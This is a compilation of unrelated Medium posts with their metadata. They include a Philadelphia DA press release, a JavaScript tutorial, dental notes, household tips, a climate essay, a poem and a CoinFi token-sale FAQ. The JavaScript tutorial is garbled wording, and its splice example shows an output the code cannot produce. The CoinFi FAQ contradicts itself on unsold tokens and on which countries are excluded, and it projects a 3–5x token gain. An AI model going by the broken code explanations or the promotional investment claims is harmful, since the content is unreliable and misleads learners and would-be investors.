Interviews and attempted interviews were conducted of everyone located on the second floor of the building. Ten firearms have been recovered by police from the room where the gunfire started, including a 22-caliber assault rifle that is forensically confirmed to be the weapon used to kill Corporal O’Connor. Additional and important forensic testing is under way.
On Saturday, the District Attorney’s Office (DAO) acted upon the fugitive arrest warrants against Elliott and charged him for a March 2019 murder of an individual and a December 2019 non-fatal shooting of an individual. He has been arraigned for those crimes and is being held with no eligibility for bail.
While not the subject of the law enforcement action on Friday, Sears had also been approved for arrest for his role in the March 2019 murder, in addition to Elliott. The following is a sequence of events leading up to the police-involved shootings on Friday:
· 6/8/2017: Elliott, then 18 years old, is arrested for drug possession and possession of a firearm without a license. During 2018 the DAO succeeds in obtaining his guilty plea and a 9–23 month sentence of incarceration plus 3 years of probation. The sentence is well within Pennsylvania Sentencing Guidelines and approved by the Court. He is released on parole.
· 1/29/2019: Elliott is arrested for drug possession only.
· 2/6/2019: Elliott appears in court for a violation of parole (VOP) hearing. Court grants continuance because PPD seizure analysis of substance found is not yet available. Court does not issue a detainer and instead directs him to appear in his next court date.
· 3/1/2019: Elliott appears again in court for VOP hearing. Court does not issue detainer to hold him.
· 3/1/2019: Elliott and Sears allegedly commit a robbery and murder on the 53KK block of Duffield Street.
· 3/26/2019: Following investigation by the Philadelphia Police, in which video surveillance and firearms used in the 3/1/2019 murder are presented to the DAO as evidence, the DAO approves warrants for police to locate and arrest Elliott and Sears. PPD undertakes to arrest Elliott and Sears with the warrant, but they remain at large.
· 3/26/2019: Elliott is due in court for a VOP hearing and fails to appear.
· 4/3/2019: Elliott is again due in court for a VOP hearing and fails to appear.
· 4/3/2019: Elliott fails to appear for the 1/29/2019 drug possession case. Based in part upon a notification by the U.S. Attorney’s Office from early 2018 that an arresting officer in the drug possession case has admitted to providing false testimony, and based on the U.S. Attorney’s referral of that officer to the DAO for consideration of pursuing perjury charges against the officer, DAO withdraws drug possession charges. Case is also fatally flawed because the police actions described, credible or not, violate the Fourth Amendment and will result in suppression of evidence and dismissal of the case. Elliott is still being actively sought by PPD on the murder arrest warrant approved on 3/26/2019, which is far more serious.
· 12/27/2019: Elliott allegedly commits a non-fatal shooting on the 1900 block of Bridge Street.
· 2/2/2020: A music video featuring Elliott and Sears that appears to have been filmed on the 16XX block of Bridge Street is uploaded to YouTube.
· 3/13/2020: Police Homicide Fugitive Squad and SWAT unit of six officers attempt to execute the fugitive warrant on Elliott to bring him into custody for the 2019 murder on the 16XX block of Bridge Street. Corporal O’Connor is fatally wounded during an exchange of gunfire.
“Elliott and Sears have been wanted, dangerous fugitives for nearly one year. Our police officers put the safety of the public before their own lives, and in the course of performing their duties in order to bring dangerous individuals into custody, Corporal O’Connor was lost to us forever. We all owe Corporal O’Connor and his family a debt of gratitude. Tragically, we will never be able to repay,” District Attorney Krasner said.
Elliott will be arraigned for the following additional offenses in the murder of Corporal O’Connor: Murder (F1), Criminal Homicide of a Law Enforcement Officer (F1), 7 counts of Attempted Criminal Homicide of a Law Enforcement Officer (F1), 7 counts of Aggravated Assault of a Law Enforcement Officer (F1), Hindering Apprehension (F3), VUFA 6110.2 (M1), Possession of an Instrument of Crime (M1), Recklessly Endangering Another Person (M1), Tampering With Evidence (M2), and Obstruction of Justice (M2).
Sears was arraigned on Monday on charges for the March 2020 murder, and is also being held without bail. Preliminary hearings for Sears and Elliott have been scheduled for April 1st, the day the courts are scheduled to reopen following closure for the COVID-19 health emergency.
Mitchell was arraigned on Sunday on charges of Possession With Intent to Distribute (PWID) for 59 vials of crack cocaine found on his person last Friday. He is being held on $1 million bail pending the outcome of a court hearing on a DAO request that bail eligibility be revoked.
Easterling has been transported to state prison on a VOP detainer. He will be held in custody while awaiting a parole board hearing, the outcome of which could result in additional incarceration.
The DAO Homicide Unit has made a request to the city Office of Forensic Science for expedited testing on evidence that will allow the police and DAO to proceed on additional charging for the March 13th police-involved shooting.
“This investigation is early and ongoing. In addition to serious criminal justice actions the three other individuals in custody already face, forensic evidence and witness testimony could enable the DAO to file additional charges for their roles in the Friday incident,” District Attorney Krasner added. “The District Attorney’s Office and I continue to join the city in mourning the tragic loss of Corporal O’Connor.”
###
The Philadelphia District Attorney’s Office is the largest prosecutor’s office in Pennsylvania, and one of the largest in the nation. It serves the more than 1.5 million citizens of the City and County of Philadelphia, employing 600 lawyers, detectives, and support staff. The District Attorney’s Office is responsible for prosecution of approximately 40,000 criminal cases annually. | https://medium.com/philadelphia-justice/district-attorney-krasner-announces-murder-related-charges-for-killing-of-police-corporal-oconnor-b18cc0203f72 | ['Philadelphia Dao'] | 2020-03-18 14:13:51.736000+00:00 | ['Criminal Justice', 'Philadelphia Police', 'Philadelphia', 'Press Release'] |
JavaScript tutorial) | JavaScript tutorial
JavaScript is a cross-platform, object-oriented language used to interact with web pages. There are also more advanced JavaScript versions such as Node.js, which allow you to add more functionality to a website rather than simply downloading files. Within the host environment, JavaScript can be linked to its native objects to provide system control over them.
JavaScript contains a standard library of objects, such as Array, Date, and Math, as well as a basic set of language objects such as operators, control structures, and statements. Core JavaScript can be expanded for a variety of purposes by adding additional features; For example:
JavaScript next to the client extends the base language by providing objects to control the browser and the Document Object Model (DOM). For example, client side extensions allow the app to place objects in HTML form and respond to user events such as mouse click, form loading, and page navigation.
JavaScript next to the server extends the base language by providing resources related to JavaScript usage on the server. For example, the server side extensions allow the app to communicate with the database, provide continuous information from one request to another application, or create file fraud on the server.
Details of some JavaScript String, Number, Math, array:
charAt:
charAt () method returns a character in a specified index.
Example:
<html>
<head>
<title> JavaScript String charAt () Method </title>
</head>
<body>
<script type = “text / javascript”>
var str = new String (“This is a string”);
document.writeln (“str.charAt (0) states:” + str.charAt (0));
document.writeln (“<br /> str.charAt (5) states:” + str.charAt (5));
</script>
</body>
</html>
Release: str.charAt (5) by: i
2. concat:
The concat () method is used to combine two or more formats. This method does not change existing settings, but instead returns a new list.
Example: const array1 = [‘a’, ‘b’, ‘c’];
const array2 = [‘d’, ‘e’, ‘f’];
const array3 = array1.concat(array2);
console.log(array3);
Release:> Array [“a”, “b”, “c”, “d”, “e”, “f”]
3. includes:
The includes () method determines whether an array inserts a value into its input, returns true or false as appropriate.
Example: const array1 = [1, 2, 3];
console.log(array1.includes(2));
Release: > true
4. endsWith:
The endsWith () method determines whether a thread ends with a string of threads, returns true or false as it should be.
Example: const str2 = ‘Is this a question’;
console.log(str2.endsWith(‘?’));
Release: > false
5. indexOf:
This method returns an index within the String call item for the first occurrence of a specified value, starting a search from Index or -1 if the value is not found.
Example: const beasts = [‘book’, ‘table’, ‘camel’, ‘knock’, ‘ball’];
console.log(beasts.indexOf(‘table’));
Release: > 1
6. trim:
String.prototype.trim () returns a new thread overrun by white characters from the beginning and end of the series:
Example: let str = ‘ JS trim ‘; let result = str.trim(); console.log(result);
Return: “JS trim”
7. isNaN:
The No.NaN () method determines whether a transferred value is NaN and that its type is a Number. It is the most powerful original version, the global NaNaN ().
Example: function milliseconds(x) {
if (isNaN(x)) {
return ‘Not a Number!’;
}
return x * 1000;
}
console.log(milliseconds(‘100F’));
Return:> “Not a Number!”
8. parseFloat:
The parseFloat () function is used to receive a string and convert it into a floating point number. If the string does not have a numerical value or if the first character of the string is not a number then returns NaN i.e., not a number. It actually returns the number of floating point separated by the point where it reaches a non-Number character.
Example: <script>
var v2 = parseFloat(“2.15”);
document.write(‘Using parseFloat(“2.15”) = ‘
+ v2 + “<br>”);
</script>
Return: Using parseFloat(“2.15”) = 2.15
9. floor:
The Math.floor () function returns the largest value less than or equal to the given number.
Example: console.log(Math.floor(5.95));
Return: > 5
10. splice:
The splice () method alters the content of the same members by removing or replacing existing items and / or replacing new items.
Example: const months = [‘Jan’, ‘March’, ‘April’, ‘June’];
months.splice(4, 1, ‘May’);
console.log(months);
Return: > Array [“Jan”, “Feb”, “March”, “April”, “May”] | https://medium.com/@rizvyahamed97/javascript-tutorial-862ac2f1ac2c | ['Rizvy Ahamed'] | 2020-11-02 16:38:45.539000+00:00 | ['Math', 'Maps', 'Splice', 'JavaScript', 'Array'] |
Dental Anatomy And Morphology Of The Mandibular Lateral Incisor | Dental Anatomy And Morphology Of The Mandibular Lateral Incisor
The mandibular lateral incisor is a little larger in all dimensions than the mandibular central incisor in the same mouth.
The crown of the mandibular lateral incisor resembles that of the mandibular central incisor, but it is not as bilaterally symmetrical. The distal outline is rounded compared to a flatter mesial crown outline. The crown of the lateral incisor is tilted distally on the root, giving the impression that the tooth has been bent at the cervix.
The distoincisal angle is noticeably more rounded than the mesioincisal angle, but before attrition. This is an important mark to distinguish lefts from rights but prior to attrition.
The distal contact point is cervical to the level of the mesial one. The two contact areas are not at the same level unlike the contact areas on the central incisor — on the same level.
From the incisal aspect, the incisal edge does not follow a straight line mesiodistally. It has a distolingual twist — the distal half of the incisal edge is bent lingually. | https://medium.com/@drnenaddordevic/dental-anatomy-and-morphology-of-the-mandibular-lateral-incisor-bfc9e9e83413 | ['Dr Nenad Dordevic'] | 2021-11-18 14:23:41.881000+00:00 | ['Dentistry', 'Dentist', 'Teeth', 'Blog', 'Dental Anatomy'] |
Keeping it Clean | Keeping it Clean
Photo by Daiga Ellaby on Unsplash
The only thing that people seem to hate more than working out is cleaning. I am guilty of it too. It seems that no matter how hard I try, the dog hair reappears the second I put the vacuum away. The winter seems to be the worst because the furnace kicks on and blows the dust and hair from the vents. It’s never ending.
When you start making a healthier lifestyle change it’s natural to want to continue it throughout the rest of your every day life. I have pretty much stopped using the super harsh chemicals to clean with. I find that vinegar and water work very well. I use a steam mop for my floors. I can add a few drops of essential oils if I want it to smell nice. I’m not sure I can give up my Dawn though since I have a LOT of greasy dishes.
My house used to be clutter central. When I started losing weight and started removing clothes that don’t fit me anymore, I just kept going. I was on a mission to make my home clutter free. Once the clutter was gone, ok, mostly gone (I’m still working on it) I set up a schedule for myself that has seemed to work well for me.
My biggest tip is to get the whole family in the habit of putting something back when they get finished using it. That was our worst fault and one we still break every once in a while.
Photo by Dan Gold on Unsplash
Monday is bathroom day. We have three. Mine, the guest one and the one in my studio. I’ve put my son in charge of his, so that leaves me two to clean. I spray or wipe the shower down immediately after using it to keep it clean. That leaves the sink, mirror, toilet and floor. That is easily managed in a half hour.
Tuesday is bedroom day. Again, we have three. My son is in charge of his. My husband has taken over Jess’ old room as his office, so he does that one. I clean my bedroom. Vacuum, windows, change/wash sheets and curtains, dust and done! Again, can be done in about 15–20 minutes.
Wednesday is the living room. Dusting and a general de-cluttering takes about 15 minutes.
Thursday is the kitchen/laundry room. Wipe down all appliances and windows, dust and wipe counters. Steam mop. 30 minutes.
Photo by Sidekix Media on Unsplash
Friday I clean up downstairs. That’s the rec room/studio/office. Again just a quick straighten, dust and mop and I’m done.
Vacuuming gets done a few times a week because of the dogs, but my house stays a lot cleaner with this schedule. If I get super busy during the week I can skip a day and make it up on the weekend.
If I have guests coming I am no longer in a panic tossing things into closets or behind closed doors. I just clean off the kitchen counter and vacuum and I’m guest ready.
I do some deep cleaning on a regular schedule as well, but this is good for just keeping the place presentable long term without being overwhelmed.
Set a schedule that works for you and get everyone involved then stick to it. A few minutes a day really adds up to helping to keep you stress free~! | https://medium.com/@sandikorshnak/keeping-it-clean-c963f8bd049e | ['Sandi Korshnak'] | 2019-12-11 19:40:13.278000+00:00 | ['Cleaning', 'Cleaning Tips', 'Decluttering'] |
How to hang your Christmas wreath (damage-free!) using festive ribbon (and have the most stylish front door on the street) | Simply thread the ribbon around the wreath, arrange so it is facing where you want it, and pull the ends of the ribbon over the inside of the door. Once you have the wreath hanging where you want it, you can carefully pull the door closed, while holding the ends. You will probably need a stepladder for some of this!
Keep hold of the ends of the ribbon for now, so the wreath doesn’t fall. Then carefully tie the ends into a bow, keeping the wreath at the height you want it on the outside (this was easier for me as there is a window in the door!). You can let go at this point, as the closed door and bow will hold the wreath in place.
Next, stick the Command hooks near the top of the door in the centre, following the instructions on the pack. Note: you need to position the hooks upside down, as shown below, and fairly close to each other.
This will hold the bow, and the weight of the wreath (the door is also holding some of the weight).
Once you have pressed the hooks firmly, and left to bond for the required time, you can carefully pull the bow down and hook it underneath, as below.
Then arrange the bow how you want it, and finish with a small piece of clear tape across the hooks if you like, for extra security.
This is the finished wreath hanger from the inside.
After Christmas, you can carefully remove the Command hooks, and wrap up the ribbon ready for next year.
And that’s it. A pretty, modern, and damage-free way to decorate your door. And send your neighbours wild with envy at your style and creativity :)
Now let’s just hope that Santa hasn’t been too affected by the travel restrictions.. | https://medium.com/@charlottecb/how-to-hang-a-christmas-wreath-damage-free-with-festive-ribbon-5f74ed33acc1 | ['Charlotte C-B'] | 2020-12-17 12:25:21.904000+00:00 | ['Holiday Season', 'Creative', 'Wreath Bow', 'Christmas Wreath', 'Christmas Decoration'] |
At the Cliff of Climate Catastrophe | At the Cliff of Climate Catastrophe
With the release of a new report on climate change, Earth may be at a tipping point Collin Schreur Follow Sep 1 · 5 min read
On August 6, 2021 the Intergovernmental Panel on Climate Change (IPCC) published the first section of its sixth assessment report. Their findings were stark. 1.5 degrees Celsius of warming was envisioned as a red line of sorts, not to be crossed or the worst effects of warming would be felt, with the Earth permanently altered:
“Many changes due to past and future greenhouse gas emissions are irreversible for centuries to millennia, especially changes in the ocean, ice sheets and global sea level.” -Climate Change 2021: The Physical Science Basis (AR6)
However, we are currently on track to meet and exceed this upper limit:
“[The report] finds that averaged over the next 20 years, global temperature is expected to reach or exceed 1.5°C of warming.” -
In biology, the term ecological threshold is used to describe when an event can trigger drastic changes in an environment. Picture an ice cube sitting on a table. If the outside temperature rests at at below 0 degrees C, the ice cube remains a solid, frozen, orderly mass. Increasing the temperature past the freezing point shifts this ice cube into a new, liquid state. The liquid may be cooled down to freezing again, but unless it is placed in a cube-shaped container its shape will be permanently altered- it is no longer a cube as it once was.
Let’s extend this analogy to an complex environmental system, say a forest. Most ecosystems have resilience, an ability to maintain or recover its function after some disturbance. A natural wildfire may seem to be catastrophic to the casual observer. Tall trees are scorched and killed, untold thousands of animals and plants are consumed by the blaze. However, natural fires play a crucial role in recycling nutrients back into the soil, and can even serve as a mechanism for new growth. The steady state of a functioning forest is temporarily altered, and then over several years and decades, returned to and renewed.
Longleaf pine habitat undergoes a controlled burn (Credit: M Barnett from Pixabay)
Humans are notoriously good at creating conditions for crossing ecological thresholds. Say the same forest was cleared for agricultural land. Now, not only is the canopy gone, but so are dead trees and debris, vital for animal habitats. Introduced livestock strip the ground of small vegetation, and radically alter nutrient cycling from their manure. Native wildlife find themselves homeless or out-competed, and begin to move or die off, as food webs morph and degrade. Even with the humans gone, the landscape and community is changed forever. Even if we were to plant new trees, replace the soil, and reintroduce native species we could only attempt to approximate past conditions, never quite reaching them.
One such threshold with regards to climate is the melting of the Arctic permafrost. For tens of thousands of years, methane and carbon dioxide have been trapped under the ice and within the soil. It has acted as a carbon sink, absorbing and safely storing these greenhouse gases. But as the arctic thaws, these gases release, causing more warming and thawing. This could lead to a positive feedback loop- a runaway warming cataclysm. Even if we were to cut our emissions to zero, this effect may still be underway and unstoppable.
A similar process occurs the melting of snow and ice cover. Ice has a high albedo, or reflectivity. Sunlight hitting ice will have most of its energy reflected, and not absorbed. As more bare land or water is exposed, the albedo is decreased and more thermal energy is absorbed, causing more melting. From a combination of these feedback loops among other influences, global warming has a disproportionate impact on the arctic and Earth’s coldest regions.
A glacier melting, exposing bare rock and soil. (Credit: Joshua Woroniecki from Pixabay)
Climate is confusing, abstract, and most in the news media lack formal scientific education. The result is a blip in the headlines for a few days. Natural disasters (such as the wildfires in California or flooding in China) receive some attention, and lip-service is given to climate change during its coverage, but this pales in comparison to political news, manufactured outrage and celebrity gossip. The latest environmental disaster becomes a conversation piece at the dinner table, and is quickly forgotten about. Because climate change effects the whole planet in often subtle ways, it can make for a poor story to drive ratings. Our leaders pass tepid laws and decades-long “solutions” when the problem requires urgent and concerted action.
Looking back at earth’s natural history reveals a startling fact: the concentration of carbon dioxide in the atmosphere not only corresponds to Earth’s average temperature, but climactic shifts shifts are a main cause of great extinction events. For instance, the Permian mass extinction, which may have wiped out as much as 90 percent of life, coincided with a seawater increase in temperature of as much as 6 degrees C.
Credit: Jouzel et al. 2007; Lüthi et al. 2008, Temperature change and CO2 concentration measured from Antarctic ice core.
Earth is now at its warmest in roughly three million years. When natural fluctuations in Earth’s temperature take place over thousands and millions of years, and human-induced climate change has occurred in several hundred, this is an unprecedented event in Earth’s history, and a major stress test for the flora and fauna that live here. Indeed, it is clear to many in the scientific community that we are living in the sixth mass extinction event, one that is caused not by some geological or astronomical phenomena, but by us, with climate change a main contributor. We are already peering down the edge of the climate cliff. What happens when we fall? | https://medium.com/age-of-awareness/at-the-cliff-of-climate-catastrophe-b2ea545748b8 | ['Collin Schreur'] | 2021-09-03 00:47:11.449000+00:00 | ['Biology', 'Environmental', 'Climate Change', 'Science', 'Ecosystem'] |
User Interface Preview for the Lunyr Invitation-only Alpha Release | We’ve been hard at work creating the user interface for the Lunyr Invitation-only Alpha Release. The major design goal was to create something modern, intuitive, and focused. After much research and going through multiple iterations we’re ready to show a preview.
The Lunyr reading experience
Beautiful, rich layout creates a visually immersive experience as you explore your interests. | https://medium.com/lunyr/user-interface-preview-for-the-lunyr-invitation-only-alpha-release-4e551896fb7a | [] | 2017-04-24 00:26:51.367000+00:00 | ['Lunyr', 'Blockchain', 'Ethereum', 'Bitcoin', 'Crowdsale'] |
The Greatest Gift | POETRY
The Greatest Gift
A post-Christmas rhyme
Photo by freestocks on Unsplash
The greatest gift
cannot be bought
It must simply come
from a place of thought
It’s not under the tree
wrapped with a bow
But appears, unexpected
with little to show
Give your attention,
both of your ears
and listen to someones
hopes and fears
Or a helping hand
a smile, a touch
It’s the smallest things
that mean so much
And time, the thing
there is so little of
is second only to
the gift of love
Dr. Jackie Greenwood | https://medium.com/illumination/the-greatest-gift-397e26aaf31d | ['Dr. Jackie Greenwood'] | 2020-12-26 20:14:32.104000+00:00 | ['Family', 'Gifts', 'Love', 'Poetry', 'Illumination'] |
Influx Outflux Law: The Fundamental Law of Life. | Being a math student, I have always asked myself the question
“What is the meaning of equation x = y with respect to life?”
By the way, how to ask the right questions will be the new intellectual power in the 21st century. Let’s keep that for a different blog post.
Yes, so coming back to x =y, I realized a lot. Not only, I did find it everywhere, but according to the spiritual aspect of a human being, this is the first truth.
Oh! “How to find the truth?” is another opportunity for me to share my thoughts in an article.
Influx Outflux Law
I was trying to discover my passion. I realized that I really love to communicate new ideas and thoughts by journaling, writing articles, making videos, talking to people, and whatnot.
But, why? I again asked.
Influx
I discovered that, whatever I am learning, whatever I am understanding, I am doing it to find something, to answer something inside me.
So, knowledge is getting stored in my memory bank. Neurons are bursting with energy. The brain is using most of it to hold the weight of this knowledge.
Outflux
But, I am a lazy person. Human beings are lazy. I need to get it out. I do it by sharing with the people. But why, to the people and not just journaling? Because, it can help the people too, I believe and help them discover and understand something around them better.
Why Influx = Outflux?
What if Influx is not equal to Outflux? The thoughts and memory will get stored in the brain, using energy. You will go nuts.
Let’s do this exercise.
Try to watch a 4 hour long video lecture and not take notes and keep everything inside your brain. You will go nuts. Believe me.
If you observe anything in this world, it is always in a dual-mode — like on and off. There is time. So, if you plot on and off concerning time, you get a wave — the fundamental basis of human beings.
This is exactly similar to the fundamental idea of physical existence that
Everything moves in a circle.
Since everything is happening at a different time, you can feel it’s different. If your project is on the level of human experiences, you will feel that you are going in a circle.
So, what’s the point of life?
Let’s keep it for another time.
Let’s focus on how you can enjoy the Influx = Outflux Law?
Practical usage of Influx = Outflux Law
Take Notes while listening to something. It helps you organize your thoughts. It is the best-organized way of letting outflux. Journaling about your own thoughts will help you be free of your mental clutter.
while listening to something. It helps you organize your thoughts. It is the best-organized way of letting outflux. about your own thoughts will help you be free of your mental clutter. If you feel you are too heavy, maybe you need to do some exercises to make yourself light.
If you are too mentally cluttered, it means you have a lot inside you now, you need to get it out. It’s time for outflux. Either, you can give it some time to let the energy settle down by sleeping or meditating. Or you can channelize the energy doing some other work.
You can use this principle to create the mentality of sharing, donating your wealth to people, and keeping you humble, as, at the end of the time, it is going off your pockets. Wealth is also not constant with you. So, every time, practice sharing the wealth with people.
Exercises
Try to find out where Outflux = Influx Law is happening in your life. Observe that it’s happening everywhere around you.
Examples: Stock Market, Economy, Energy, Zero-Sum Games, etc
Do try to answer the various questions I asked while writing this.
Observe that you are always taking information, some kind of data. You also need to learn how to restrict to a proper kind of influx, so that you don’t go mad. For, that you need to be conscious and aware and learn how to focus.
Till then, Srijit signing out.
Stay tuned. Stay blessed. | https://medium.com/srijit-mukherjee/influx-outflux-law-the-fundamental-law-of-life-da32316d9e6d | ['Srijit Mukherjee'] | 2021-04-25 13:46:42.289000+00:00 | ['Stock Market', 'Happy', 'Wealth', 'Money', 'Life'] |
The No Longer Ignored Anthology — Call for Submissions | Submission guidelines: https://abpoetryjournal.com/no-longer-ignored-anthology
The No Longer Ignored Anthology has a simple (yet important) goal: Gathering art, photography, poetry, stories and testimonies from people who have risen above their experiences with social injustice, including racism, discrimination, and xenophobia. People who wish to give a voice to those who think they don’t have any. And people who have pledged to make the world a better place, even in small ways.
We look forward to reading you! | https://medium.com/@cendrineartist/the-no-longer-ignored-anthology-call-for-submissions-844e6ac5e61e | ['Cendrine Marrouat'] | 2020-12-26 22:32:29.416000+00:00 | ['Open Call', 'Artist', 'Artist Features', 'Call For Artists', 'Art'] |
AI and big data analytics in agritech to feed a growing population | Technology as a wide concept. Technological developments made in recent decades are increasing our access to the agricultural sector and are delivering exciting new insights into the dynamic nature of the agricultural area. Agritech is a technological solution for feeding a growing population.
The agriculture sector is one of the most important industries for Indian growth, which means it is also a large employer. Approximately 60 percent of the Indian population works in the industry, contributing around 18 percent to India’s GDP. Now the world started to think about global food security that’s why agritech matters.
Lots of inevitabilities existed in the agricultural industry like an evolving new atmosphere, depletion of water assets, and the potential for enlarged disintegration and loss of profitability because of the onset of remarkable climate conditions. Farmers can screen their yields in a prime manner and be updated in real-time about the perfect time for harvest with the help of Satellites. unmanned aerial vehicles (UAVs), and remote sensors these devices monitor farms for 24 hours per day consistently. Real-time execution of rural Artificial intelligence helps farmers to investigate climate realities, temperature, water utility, and conditions of soil gathered from their farms to settle on informed choices for business planning and decision making, etc.
big data analytics is revolutionizing the agricultural sector in no of ways like Monitoring natural trends. Advanced supply tracking, Risk assessment, Ideal crops and consumer expectation, Data-driven industry, and Better supply chain management. artificial intelligence revolutionizing the agricultural sector basically through Predictive analytics and precision farming, Risk management, and Pest control.
A single technology platform guarantee to increase farmers’ income and hence their buying and selling capacity as well. Funds can allocate the right manner will help the farmers to form their own producer companies or organizations that make profitable value to them. At the same time agritech trying to establish a digital agricultural supply chain. Stakeholders are bringing onto this single technological platform. farmers can expand their buyer base, reach an exceptional number of consumers, and in this way they can increase their profitability as well. Incorporation of technology in agriculture and can help individual and small farmers along with assisting the entire value chain while benefiting contract farmers, corporates, R&D institutions, funding agencies, trade bodies, FPO’s and Government bodies as well.
The future of agritech is immeasurable. Major benefits from agritech not only for various Agriculture stakeholders but positively for small farmers and laborers, transforming them into farm owners as well. Definitely agritech changing the face of agriculture. | https://medium.com/@maxed-blog/ai-and-big-data-analytics-in-agritech-to-feed-a-growing-population-8ca23cdb223c | [] | 2020-12-11 14:55:14.401000+00:00 | ['Artificial Intelligence', 'Farmers', 'Data Analytics', 'Agritech', 'Big Data'] |
CoinFi FAQ’s | Here you can find a list of some of our most frequently asked questions. If your question isn’t answered here, jump into our Telegram group and one of our team will respond as quickly as they can. Join the CoinFi Telegram group here.
Where is CoinFi located?
We’re based out of Hong Kong but have team members distributed around the world.
I read in the CoinFi whitepaper that people from Hong Kong are not allowed to take part in this ICO, but you’re based in HK, right? How does that work?
Our team is spread around the world, in Hong Kong, Taiwan, Canada, the USA and Australia. We unfortunately need to block Hong Kong, Chinese, US, and Singaporean contributors to ensure we keep in line with local regulations.
Can you explain more about the total number of tokens that will be distributed?
We’re issuing approximately 300M tokens (the exact amount depends on the amount of bonus is claimed) and want to keep supply low to make sure demand continues to increase. We’re also incentivizing people to hold onto their tokens by requiring that users stake (i.e. lock) their tokens to access advanced functionality on the platform.
What is the use of the token? Is it a utility token or not?
Yes, it is a utility token. We will be crowdsourcing relevant market moving news so that traders get only the best trading signals and trading algorithms. These providers will be rewarded with CoinFi. Users will need to stake CoinFi tokens to get access to the platform, and premium content is going to be auctioned and paid for using CoinFi. The CoinFi team will seed the platform with content and signals initially but the idea is that the token network effect will take over once user demand increases. The basic premise is that for content that is crowdsourced we pay X CoinFi, users pay Y CoinFi for premium access. As long as Y > X demand will increase over the long term.
Which exchanges will CoinFi aim to have the token listed on?
We are in talks with multiple exchanges. We will release this information as it’s confirmed (due to non-disclosure) but our goal is to list it on at least two of the main exchanges as soon as possible. We also aim to be listed on EtherDelta very shortly after the close of the crowd sale.
When will the beta version be ready?
We are working on it daily. A big driver for the beta release is community feedback on the features they want first, we’re constantly adding new features in response to this feedback.
Why doesn’t CoinFi burn the unsold tokens?
We took the decision that there is more long term value by using the tokens to seed + grow the platform. Our team takes the view that if the platform provides long term value to traders, the token value itself should reflect this and the value and price will be reflected accordingly.
What happens to the unsold tokens?
Unsold tokens will go to the foundation with the goal seeding the platforms content and signals and growing the platform.
Is there a referral program?
Yes, please see our referral page for further details.
What’s the minimum amount of tokens required to use the CoinFi platform?
The actual staking amount will be announced at a later date, we are running through some modelling to determine the optimal amount to kick off the platform.
Do you guys have 2 Factor Authentication?
Yes, we’ll definitely have 2FA, both via Google Authenticator / Authy as well as plain SMS
I’m a US citizen, Can I participate?
Unfortunately, we just aren’t able to accept US resident token contributors at this time but we are in discussions about this with our legal team as we would like to include people from the US. However, if you’re a US citizen living outside of the US you can still participate.
We can’t discuss interpretation of specific SEC regulations that’s something only our legal team can address. However, we would really like to include those who aren’t permitted so we’re trying our best to make this happen and will notify everyone if this changes — so stay tuned!
Is my country eligible to take part in CoinFi?
Due to regulatory concerns, residents of the following countries will not be allowed to participate in the crowdsale: People’s Republic of China, Cayman Islands, and Hong Kong
How do I participate in the CoinFi Pre-sale?
You can go to https://sale.coinfi.com and click on the “Join Whitelist” button. Once you’re registered you will then be prompted to join the Telegram chat to be part of the conversation with other CoinFi contributors.
What Happens After I register for the Whitelist? Where do I buy the tokens?
Now you will be eligible for the Pre-sale. We will send you an email with instructions on how to proceed after you have joined the whitelist.
Can we pay with USD?
Currently we’re only accepting ETH but are looking into ways to accept USD and BTC as well.
Is there any Bounty?
We don’t have a bounty program but we do have a referral program for those who register on the whitelist
https://blog.coinfi.com/coinfi-ico-referral-program/
This is the link to the referral program and if it’s something you’re interested in then once you’re on the whitelist, you can email us on [email protected] and we will send you your custom referral link.
What is the duration for the Referral Link?
The referral link is only valid until the ICO ends.
What is the Minimum contribution for the Pre-Sale and Crowd-sale?
Min investment for Pre-sale is 1 ETH and 0.25ETH minimum investment for the Crowd-sale
Do you have max contribution for Pre-sale and Crowd-sale?
Max contribution of 25ETH for both pre-sale and crowd-sale.
And what is the price of a Token?
Currently 1 ETH = 7500 CoinFi Tokens
Can I buy with Eth? I have MyEtherWallet. Do I need to add custom token or will it add automatically?
Yes, we’re currently only accepting ETH as the contribution currency. Stay tuned for more instructions regarding wallet setup.
What happens to the unsold tokens?
Unsold tokens will go to the foundation with the goal seeding the platforms content /signals and growing the platform. just to be clear it’s going to foundation NOT founders.
Can you give me more information about tokens?
The tokens will be transferable. And token delivery will be as fast as possible we will give the exact schedule once we finalize the details with our engineering team. However the goal is to have them delivered as fast as possible to our community
What is the Bonus Structure and Road map?
These are outlined on our site if you scroll down to the Bonus Structure and Roadmap section of the page: https://sale.coinfi.com/
What are the Projections for this project?
Financially, it’s up to the market, but we believe as long as we keep improving the platform and getting the word out, demand should increase which will drive up the price of the token — we don’t see why token value can’t 3–5x in a year, especially since as new features get rolled out we’ll be increasing the stake amount required to access those features.
As for the timeline, you can see a rough estimate of the roadmap on the white paper
What is the Soft Cap and what will you do with unsold tokens above soft cap?
We’re projecting the soft cap to be $3M USD and will finalize the amount within a week. We strongly anticipate that all tokens will be sold. In the unlikely event that there are unsold tokens, we’ve decided to go with the industry best practice and burn any unsold tokens.
When will you be on the public exchanges? And which ones?
We are in talks with multiple exchanges so we will release this information as it’s confirmed (due to NDA’s) but our goal is to list it on the main exchanges. ERC20 tokens typically get listed on etherdelta pretty quickly.
I would like to know when the coin will be registered on Coin Market Cap?
Coin Market Cap requirements include being on a public exchange. So once we’re ready for that after the pre-sale, we will keep you posted about this.
Please note that it will automatically be listed on coinmarketcap after the CoinFi token is listed on an exchange after the ICO :)
Just wondering how I would get the Ethereum to you. Normally I buy Bitcoin through BTCDirect and transfer it to Bittrex. I suppose I buy some Ethereum there and transfer this to you?
You’d want to withdraw the ETH you get from Bittrex to an Ethereum wallet you control, and then make the transfer to us. The reason you can’t directly transfer from an exchange like Bittrex to us is because exchanges used shared addresses for multiple customers. So we won’t be able to determine that it was you who sent the funds and properly issue your tokens to you.
What blockchain is CoinFi built on?
CoinFi leverages the ethereum blockchain.
Is this a open source project as well as decentralized?
Yes it is an open-source project you can see our github linked on our prototype page: https://github.com/coinfi
How do the subscription tiers work and when will their details be released?
We plan on having a free tier that anyone can just access publicly which will be the news feed overlaid on price data, but advanced functionality such as real-time updates, individually customized dashboards / portfolios, alerts, trading signals, etc. will only be available to token holders who stake (i.e. lock) their tokens.
Different features will likely require different amounts of staked tokens, and we’re still working out how many tokens need to be staked for each piece of functionality.
Are your products, signals and indicators ready yet? If so, how can I see these?
We are currently still in beta, however, our prototypes can be seen in this section of our site: https://sale.coinfi.com/prototype
